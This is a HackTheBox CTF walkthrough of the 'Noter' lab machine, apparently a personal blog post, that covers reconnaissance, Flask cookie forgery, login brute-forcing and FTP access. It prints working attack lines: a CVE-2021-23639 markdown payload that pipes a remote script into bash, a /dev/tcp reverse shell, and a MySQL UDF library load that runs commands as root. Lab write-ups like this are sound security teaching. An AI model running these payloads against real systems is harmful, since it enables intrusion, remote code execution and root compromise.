HackTheBox - Noter
Configuration
If you’re using your own machine like me, you have to access HTB network via OpenVPN
:
1
$ sudo openvpn lab_access_file.ovpn
It is very useful to append /etc/hosts/
with ip address of the machine. It is useful to get subdomains and to not memorize the address every time.
1
2
$ echo '10.10.11.160 noter' | sudo tee -a /etc/hosts
10.10.11.160 noter
Reconnaissance
Port scan
We’re always starting with port scanning. At first we use masscan to find open ports quickly, then we use nmap to enumerate versions, services and scripts.
1
2
3
4
5
6
7
8
$ sudo masscan -e tun0 -p1-65535,U:1-65535 10.10.11.160 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-07-26 00:24:31 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 39391/tcp on 10.10.11.160
Discovered open port 5000/tcp on 10.10.11.160
Discovered open port 22/tcp on 10.10.11.160
Discovered open port 21/tcp on 10.10.11.160
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -p 21,22,5000,39391 -sCV noter
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 00:36 UTC
Stats: 0:01:57 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 00:38 (0:00:38 remaining)
Nmap scan report for noter (10.10.11.160)
Host is up (0.45s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
39391/tcp open unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
We have 4 ports here, there are ftp
, ssh
, web
servers and some unknown service. FTP is without anonymous access, Python
is used on web application.
Web application
We know that there is a web server on port 5000. Let’s add noter.htb
to our /etc/hosts:
10.10.11.160 noter noter.htb
Then, we open the website in our browser.
We also check for technologies used in application by whatweb
command or Wappalyzer
browser extension:
1
2
$ whatweb noter.htb:5000
http://noter.htb:5000 [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.8.10], IP[10.10.11.160], Python[3.8.10], Script[text/javascript], Title[Noter], Werkzeug[2.0.2]
We have register and login pages, after registration we’ll see an empty dashboard. Also we have an access to /notes page which tells us that we don’t have notes.
We create a note, there is probably a Cross-site scripting
(XSS) vulnerability. But I don’t think it is useful for us. Then, we can check what we can do with it in dashboard. We can edit and delete the note. I think there is nothing interesting for us.
user.txt
Enumeration
If we look closer at the login page, we can find that when we passing wrong login in, the page returns invalid credentials
. Also, when we passing correct login there is a invalid login
. We can enumerate users by this vulnerability.
When we log in, we get a session cookie and we know that there is werkzeug
, which uses Flask
for cookies. We can decode that cookie to see what does it provide. I used this site here.
We can try to change the username in cookies. To do that we have to know that Flask also signs
cookies with secret. We can brute-force it with flask-unsign
tool. You can install it with pip
.
1
2
3
4
5
$ flask-unsign --wordlist ~/tools/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.Yt9Qfw.S3EXih7rCwp2detNid8qx8JO3Xk' --no-literal-eval
[*] Session decodes to: {'logged_in': True, 'username': 'test'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17536 attempts
b'secret123'
We got the secret key! Now we can create a new cookie to access other users.
1
2
$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidXNlciJ9.Yt9UHg.786sxVinwhrAexXrV0tdz4-W1ro
Now we change the cookie in our browser. To do that you have to open storage and modify the session cookie.
Unfortunately, admin has not any interesting notes, so we have to enumerate users. There is no any information about the other user exists, so we have to brute-force it with hydra
:
1
2
3
4
5
6
7
8
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p asdasd noter.htb -s 5000 http-post-form '/login:username=^USER^&password=^PASS^:F=credentials'
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-26 02:57:46
[DATA] max 16 tasks per 1 server, overall 16 tasks, 8295455 login tries (l:8295455/p:1), ~518466 tries per task
[DATA] attacking http-post-form://noter.htb:5000/login:username=^USER^&password=^PASS^:F=credentials
[5000][http-post-form] host: noter.htb login: admin password: asdasd
[5000][http-post-form] host: noter.htb login: blue password: asdasd
The other user is blue
, we create a new cookie and access the account.
Exploitation
FTP server
Blue is a VIP
user. There are Import/Export functions only on VIP dashboards. We can see several notes at /notes page, we can find ftp credentials in one of them.
We connect via FTP to explore. We can find a password policy and files directory there.
In password policy we can find this note:
- Default user-password generated by the application is in the format of “username@site_name!” (This applies to all your applications)
We try to login with ftp_admin
user. It is successful, we download all files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ftp ftp_admin@noter
Connected to noter.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||55179|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 1003 4096 May 02 23:05 .
drwxr-xr-x 2 0 1003 4096 May 02 23:05 ..
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> mget *
Application source code
We unzip the backups and start exploring the application. We find mysql
credentials there.
Let’s get back on a site.
We can find an export button on /dashboard.
We’re not interested in existing notes, but we can export from external server, let’s check what does it do:
1
2
$ echo 'abrakadabra' > file.txt
$ python3 -m http.server 80
And we get error of invalid file type
, after some test, I found that markdown
(.md, .markdown) files are accepted.
In source code of app_backup_1638395546.zip we can see that md-to-pdf.js
version is 4.1.0 and after some google we can find that it is vulnerable to CVE-2021-23639.
Exploit
We know that .md files are accepted by the application. Let’s prepare our payload to exploit that.
test.md:
1
---js\n((require("child_process")).execSync("curl http://<IP>:<PORT>/reverse.sh | bash"))\n---RCE
reverse.sh:
1
2
3
#!/bin/bash
/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
Also, on our attacking machine we set up a listener:
1
nc -lnvp <PORT>
When we’re ready, we use Export directly from cloud
feature with the link to our web server with test.md file. After a few seconds, we will get a reverse shell!
1
2
3
4
5
6
7
8
9
$ listener
[*] Starting listener on port 7101
[*] https://www.revshells.com/
listening on [any] 7101 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.160] 51202
bash: cannot set terminal process group (1263): Inappropriate ioctl for device
bash: no job control in this shell
svc@noter:~/app/web$ cd ~
svc@noter:~$ cat user.txt
root.txt
Stabilize shell
Before we start exploring we have to stabilize our shell. We can do that by searching for ssh keys. But if we check there is no ssh keys presents for svc user, so we have to stabilize our reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
svc@noter:~/app/web$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
svc@noter:~/app/web$ export TERM=xterm-256color
export TERM=xterm-256color
svc@noter:~/app/web$ alias ll='ls -lsaht --color=auto'
alias ll='ls -lsaht --color=auto'
svc@noter:~/app/web$ ^Z
zsh: suspended /home/kali/tools/aliases/listener.sh
┌──(kali㉿workstation)-[~]
└─$ stty raw -echo ; fg ; reset 148 ⨯ 1 ⚙
[1] + continued /home/kali/tools/aliases/listener.sh
svc@noter:~$
Exploring
By performing basic enumeration we can note that we can not see other user processes. I’ve checked it with ps
command and pspy64.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
svc@noter:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
svc 1252 0.0 1.2 616836 48928 ? Ssl 04:40 0:01 PM2 v5.2.0: G
svc 1263 0.0 1.1 280544 45572 ? Ssl 04:40 0:04 /usr/bin/pyth
svc 20607 0.0 1.4 601060 58300 ? Sl 07:01 0:00 node misc/md-
svc 20614 0.0 0.0 2608 548 ? S 07:01 0:00 /bin/sh -c cu
svc 20616 0.0 0.0 6892 3280 ? S 07:01 0:00 bash
svc 20617 0.0 0.1 8208 5040 ? S 07:01 0:00 /bin/bash -i
svc 24129 0.0 1.4 601860 58320 ? Sl 07:27 0:01 node misc/md-
svc 24136 0.0 0.0 2608 608 ? S 07:27 0:00 /bin/sh -c cu
svc 24138 0.0 0.0 6892 3280 ? S 07:27 0:00 bash
svc 24157 0.0 0.1 8208 5004 ? S 07:27 0:00 /bin/bash -i
svc 24239 0.0 0.1 13412 7736 ? R 07:28 0:00 python -c imp
svc 24240 0.0 0.1 8328 5208 pts/0 Ss 07:28 0:00 /bin/bash
svc 28764 0.0 0.0 8892 3356 pts/0 R+ 08:02 0:00 ps aux
It is strange. Also, we’ve noted that mysql
is working. After some time I’ve runned LinPEAS to get anything. And there is a misconfiguration in mysql server:
MySQL server is runned by root
, it is a classic misconfiguration on servers. We can perform Privilege Escalation via library. Let’s do it!
Privilege escalation
In that attack, if the mysql server is running as root (or a different more privileged user) we can make it execute commands. We have to create an exploit for linux and compile it. On victim machine we create our own directory and checking if gcc
is available:
1
2
3
svc@noter:~$ mkdir /tmp/flame && cd /tmp/flame
svc@noter:/tmp/flame$ which gcc
/usr/bin/gcc
Then, we copy the exploit’s source code and compile it:
1
2
3
wget http://10.10.16.4:8292/raptor_udf2.c
svc@noter:/tmp/flame$ gcc -g -c raptor_udf2.c
svc@noter:/tmp/flame$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Now we have the library, we login inside the Mysql as a privileged user (root) and follow the next steps:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
svc@noter:/tmp/flame$ mysql -u root -p
Enter password:
# Use a database
MariaDB [(none)]> use mysql;
Database changed
# Create a table to load the library and move it to the plugins dir
MariaDB [mysql]> create table npn(line blob);
Query OK, 0 rows affected (0.005 sec)
# Load the binary library inside the table
MariaDB [mysql]> insert into npn values(load_file('/tmp/flame/raptor_udf2.so'));
Query OK, 1 row affected (0.002 sec)
# Get the plugin_dir path
MariaDB [mysql]> show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ dump in there the library
MariaDB [mysql]> select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
# Create a function to execute commands
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
MariaDB [mysql]> select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
# Execute commands
MariaDB [mysql]> select do_system("cat /root/root.txt > /tmp/flame/root.txt ; chmod 777 /tmp/flame/root.txt");
MariaDB [mysql]> exit
Bye
svc@noter:/tmp/flame$ cat root.txt
It worked!
Conclusion
It was a fun box for me. I’ve stucked when I’ve got a password policy, checked the user admin
for it and haven’t checked ftp_admin
for it. That was so close 😂. A privilege escalation was kinda easy to exploit, but really hard to find without any hints or LinPEAS
, but probably I’ve just got tired at that moment…
Thank you for reading, I hope it was useful for you ❤️